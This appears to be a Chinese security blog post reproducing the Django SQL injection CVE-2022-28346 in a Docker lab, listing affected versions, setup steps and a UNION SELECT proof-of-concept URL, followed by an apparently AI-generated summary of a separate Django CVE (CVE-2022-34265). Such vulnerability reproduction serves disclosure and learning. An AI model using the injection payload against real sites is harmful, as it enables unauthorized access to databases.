【漏洞复现】Django SQL注入漏洞 (CVE-2022-28346)


一、简介

Django是用Python开发的一个免费开源的Web结构,几乎包括了Web使用方方面面,能够用于快速建立高性能、文雅的网站,Diango提供了许多网站后台开发常常用到的模块,使开发者可以专注于业务部分。

二、漏洞概述

漏洞编号:CVE-2022-28346

攻击者使用精心编制的字典,通过 **kwargs 传递给QuerySet.annotate()、aggregate()和extra()这些方法,可导致这些方法在列别名中受到SQL注入攻击,该漏洞在 2.2.28 之前的 Django 2.23.2.13 之前的 3.24.0.4 之前的 4.0 中都存在这个问题。


三、漏洞影响版本

  • 4.0 <= Django < 4.0.4
  • 3.2 <= Django < 3.2.13
  • 2.2 <= Django < 2.2.28

四、漏洞分析

http://cn-sec.com/archives/962127.html


五、漏洞复现

Docker
docker pull s0cke3t/cve-2022-28346:latest
docker run -d -p 8080:8000 s0cke3t/cve-2022-28346

本地环境搭建
环境下载:https://github.com/DeEpinGh0st/CVE-2022-28346

Python:3.9.8
Django:3.2.11

本地启动

环境初始化

python manage.py makemigrations
python manage.py migrate
访问http://x.x.x.x:8000/ 插入初始化数据

在这里插入图片描述
浏览器访问
在这里插入图片描述
访问404可以获取到报错页面查看报错信息得到传参接口(注入点接口)
在这里插入图片描述
访问到demo/ 目录下,同样会出现报错信息
在这里插入图片描述
利用报错中提示的参数进行SQL注入
POC:http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" –
在这里插入图片描述

六、修复方法

官方已发布安全版本
下载地址:https://www.djangoproject.com/download/

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
回答: CVE-2022-34265是一个影响DjangoSQL注入漏洞。该漏洞存在于Trunc()方法的kind参数和Extract()方法的lookup_name参数未进行安全过滤的情况下,攻击者可以利用这个漏洞进行SQL注入攻击。\[2\]该漏洞的影响等级被评定为高危,但利用成本较低。受影响的版本是(∞, 3.2.14)和\[4.0, 4.0.6),官方已经在4.0.6和3.2.14版本中修复了这个问题。\[2\]如果你想复现这个漏洞,你可以选择一个名为CVE-2022-34265的漏洞文件夹,然后运行docker-compose up -d命令来加载漏洞环境。\[1\]你可以通过docker-compose ps命令查看环境所在的端口号,通常是8000。\[1\]然后你可以在浏览器中输入http://your-ip:8000来访问漏洞环境。\[3\]在页面上,你会看到time和count两个参数。你可以通过修改date参数的值来触发漏洞。\[3\]需要注意的是,官方已经发布了修复此漏洞的安全更新,建议开发者及时更新Django版本以避免受到攻击。\[2\] #### 引用[.reference_title] - *1* *3* [通过Trunc(kind)和Extract(lookup_name)参数的Django潜在SQL注入CVE-2022-34265)](https://blog.csdn.net/weixin_58320878/article/details/127138812)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [Python Web 框架 Django 修复SQL注入漏洞CVE-2022-34265)](https://blog.csdn.net/murphysec/article/details/125697351)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

李火火安全阁

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值